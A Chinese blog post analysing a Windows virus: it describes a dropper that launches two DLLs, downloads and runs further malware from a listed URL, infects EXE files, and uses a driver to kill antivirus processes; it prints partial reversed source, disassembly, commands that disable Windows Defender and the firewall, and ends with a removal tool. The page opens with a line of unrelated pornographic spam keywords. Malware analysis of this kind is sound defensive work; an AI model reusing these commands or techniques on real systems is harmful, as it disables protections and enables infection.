久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

一個病毒的簡單分析

 刀首木 2017-01-09
 

前幾日電腦啟動項總是出現(xiàn)一個叫 system.exe 的啟動項,,前幾次就刪除作罷,也沒細(xì)細(xì)追究,,但幾次以后厭煩了,直接拿出 IDA,,OD 分析,,然后就有了這篇文章。


先描述一下病毒行為
system.exe  釋放文件里面的兩個 dll,,并用 rundll32 啟動兩個 dll
grea.dll(以后簡稱叫做 dll1,,文件名生成隨機) 3 個線程工作,第一個線程下載 http://trt10.:8080/rt10/d.txt 文件,,并根據(jù)里面的列表下載其他 virus 并執(zhí)行,。第二個線程將system.exe 寫入啟動項。第三個線程枚舉磁盤上的 exe 文件,,將一段 payload 插入其中,,并將 system.exe 寫入文件結(jié)尾,。


jmgr.dll (dll2,,文件名也是隨機)停止防火墻、Winfender,,并加載驅(qū)動 cdriver.sys 檢測并關(guān)閉殺毒軟件(McAfee,、360、瑞星,、ESET)


CDriver.sys  根據(jù)第二個 dll 的指令實行殺進(jìn)程,,hook  ZwCreateProcess Ex 禁止進(jìn)程啟動

其中 system.exe 代碼已經(jīng)逆的差不多,直接給逆向好的源碼吧,。(釋放并運行dll1已經(jīng)完全逆向出來,,dll2 類同,就不再繼續(xù)逆了,,把 GetStringHash 函數(shù)逆出來還是不錯的,,后面其他模塊的分析會繼續(xù)用到這個函數(shù),此函數(shù)是計算字符串的 hash 值,,后面的進(jìn)程名也用到,,無法還原進(jìn)程名)

代碼:

#pragma comment(linker, '/ENTRY:entry')
#include 
// #define RELEASE_PUBLIC


extern unsigned char Dll1[0xD400];
extern unsigned char Dll2[];

void LoopGetFileName(char* buf, int index, int seed) // 00401000
{
    buf[index] = seed%24 + 'a';
    int nextSeed = seed/10; 
    if (nextSeed > 0)
.......


整個程序流程很簡單,就是定位函數(shù)繁瑣的操作




第一個 dll,,grea.dll 分析:dll 沒有入口,,只有一個導(dǎo)出函數(shù) Execute
Execute一進(jìn)入就創(chuàng)建三個線程

代碼:

.text:10002476                 push    0               ; lpThreadId
.text:10002478                 push    0               ; dwCreationFlags
.text:1000247A                 push    0               ; lpParameter
.text:1000247C                 push    offset RunDownAndExec ; 執(zhí)行下載病毒的工作,然后執(zhí)行病毒體
.text:10002481                 push    0               ; dwStackSize
.text:10002483                 push    0               ; lpThreadAttributes
.text:10002485                 call    ds:CreateThread
.text:10002485
.text:1000248B                 mov     [ebp+hHandle], eax
.text:1000248E                 mov     edx, [ebp+hHandle]
.text:10002491                 push    edx             ; hObject
.text:10002492                 call    ds:CloseHandle
......


然后復(fù)制 wininet.dll 到零時目錄加載,得到 Internet 函數(shù)去下載文件并執(zhí)行


代碼:

.text:100021F0 ; DWORD __stdcall RunDownAndExec(LPVOID a1)
.text:100021F0 RunDownAndExec  proc near               ; DATA XREF: Exucute+AC o
.text:100021F0
.text:100021F0
.text:100021F0                 push    ebp
.text:100021F1                 mov     ebp, esp
.text:100021F3                 sub     esp, 338h
.text:100021F9                 push    214C6981h       ; GetSystemDirectoryA
.text:100021FE                 call    GetHashProcAddr
.text:100021FE
.text:10002203                 add     esp, 4
.text:10002206                 mov     [ebp+GetSystemDirectoryA], eax
.text:1000220C                 push    104h
.text:10002211                 lea     eax, [ebp+String1]
.text:10002217                 push    eax
.text:10002218                 call    [ebp+GetSystemDirectoryA]
.text:10002218
......



分析第二個 dll,,jmgr.dll

一開始就關(guān)閉防火墻,、windows自帶病毒掃描程序

代碼:

.text:10001D00                 push    ebp
.text:10001D01                 mov     ebp, esp
.text:10001D03                 sub     esp, 290h
.text:10001D09                 push    289FBD13h
.text:10001D0E                 call    GetHashProcAddr
.text:10001D0E
.text:10001D13                 add     esp, 4
.text:10001D16                 mov     [ebp+WinExec], eax
.text:10001D1C                 push    0
.text:10001D1E                 push    offset s->NetStopWindefend ; 'net stop WinDefend'
.text:10001D23                 call    [ebp+WinExec]  ; 關(guān)閉WinDefend服務(wù)
.text:10001D23
.text:10001D29                 push    0
.text:10001D2B                 push    offset s->NetStopMpssvc ; 'net stop MpsSvc'
.text:10001D30                 call    [ebp+WinExec]  ; 關(guān)閉防火墻
.text:10001D30
.text:10001D36                 push    0
.text:10001D38                 push    offset s->ScConfigWindefendStartDisabled ; 'sc config WinDefend start= disabled'
.text:10001D3D                 call    [ebp+WinExec] ; 禁用WinDefend
.text:10001D3D
.text:10001D43                 push    0
.text:10001D45                 push    offset s->ScConfigMpssvcStartDisabled ; 'sc config MpsSvc start= disabled'
.text:10001D4A                 call    [ebp+WinExec] ; 禁用防火墻


里面一堆的關(guān)閉殺軟服務(wù)工作


代碼:

.text:10001B6B                 mov     byte ptr [ebp+var_298+3], 'h'
.text:10001B72                 mov     byte ptr [ebp+var_294], 'i'
.text:10001B79                 mov     byte ptr [ebp+var_294+1], 'e'
.text:10001B80                 mov     byte ptr [ebp+var_294+2], 'l'
.text:10001B87                 mov     byte ptr [ebp+var_294+3], 'd'
.text:10001B8E                 mov     byte ptr [ebp+var_290], 0
.text:10001B95                 lea     ecx, [ebp+var_298]
.text:10001B9B                 push    ecx             ; lpString2
.text:10001B9C                 call    StopService     ; 關(guān)閉 Mcshield 服務(wù)
.text:10001B9C
.text:10001BA1                 add     esp, 4
.text:10001BA4                 mov     byte ptr [ebp+var_2A8], 'M'
.text:10001BAB                 mov     byte ptr [ebp+var_2A8+1], 'c'
.text:10001BB2                 mov     byte ptr [ebp+var_2A8+2], 'O'
.text:10001BB9                 mov     byte ptr [ebp+var_2A8+3], 'D'
.text:10001BC0                 mov     byte ptr [ebp+var_2A4], 'S'
.text:10001BC7                 mov     byte ptr [ebp+var_2A4+1], 0
.text:10001BCE                 lea     edx, [ebp+var_2A8]
.text:10001BD4                 push    edx             ; lpString2
.text:10001BD5                 call    StopService     ; 關(guān)閉 McODS 服務(wù)
.text:10001BD5
.text:10001BDA                 add     esp, 4
.text:10001BDD                 mov     byte ptr [ebp+var_2BC], 'm'
.text:10001BE4                 mov     byte ptr [ebp+var_2BC+1], 'c'
.text:10001BEB                 mov     byte ptr [ebp+var_2BC+2], 'm'
.text:10001BF2                 mov     byte ptr [ebp+var_2BC+3], 's'
.text:10001BF9                 mov     byte ptr [ebp+var_2B8], 'c'
.text:10001C00                 mov     byte ptr [ebp+var_2B8+1], 's'
.text:10001C07                 mov     byte ptr [ebp+var_2B8+2], 'v'
.text:10001C0E                 mov     byte ptr [ebp+var_2B8+3], 'c'
.text:10001C15                 mov     byte ptr [ebp+var_2B4], 0
.text:10001C1C                 lea     eax, [ebp+var_2BC]
.text:10001C22                 push    eax             ; lpString2
.text:10001C23                 call    StopService     ; 關(guān)閉 mcmscsvc 服務(wù)
.....


 圖中有誤,是利用驅(qū)動殺進(jìn)程,,而非利用調(diào)用

CDriver.sys 分析
驅(qū)動內(nèi)容就非常簡單了,,主要功能都在IoControlRoutine中,里面幾個命令功能

代碼:

0x22E14B    傳入SSDT的id與地址,,然后hook SSDT
0x222009    attach到進(jìn)程然后殺死進(jìn)程(傳入pid)
0x222006    hook   ZwCreateProcessEx,,ZwCreateProcessEx中根據(jù)SectionHandle得到文件名,然后計算hash,,根據(jù)里面的hash列表禁止啟動某部分程序
0x222007    unhook  ZwCreateProcessEx


完了最后寫一個專業(yè)殺工具


代碼:

BOOL KillVirus(LPTSTR szFileName)
{
    BOOL retValue = FALSE;
    DWORD dwBytes;
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return retValue;
    }
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPBYTE pBuf = (PBYTE)AllocMemory(dwSize);
    SetFilePointer(hFile,0, NULL, FILE_BEGIN);
    ReadFile(hFile, pBuf, dwSize, &dwBytes, NULL);
    CloseHandle(hFile);

    do 
    {
        PIMAGE_DOS_HEADER Header = (PIMAGE_DOS_HEADER)pBuf;
        PIMAGE_NT_HEADERS peheader = 
            (PIMAGE_NT_HEADERS)((LPBYTE)Header + Header->e_lfanew);

        ......


點擊左下角,,查看全部代碼哦~

 

學(xué)

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報,。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多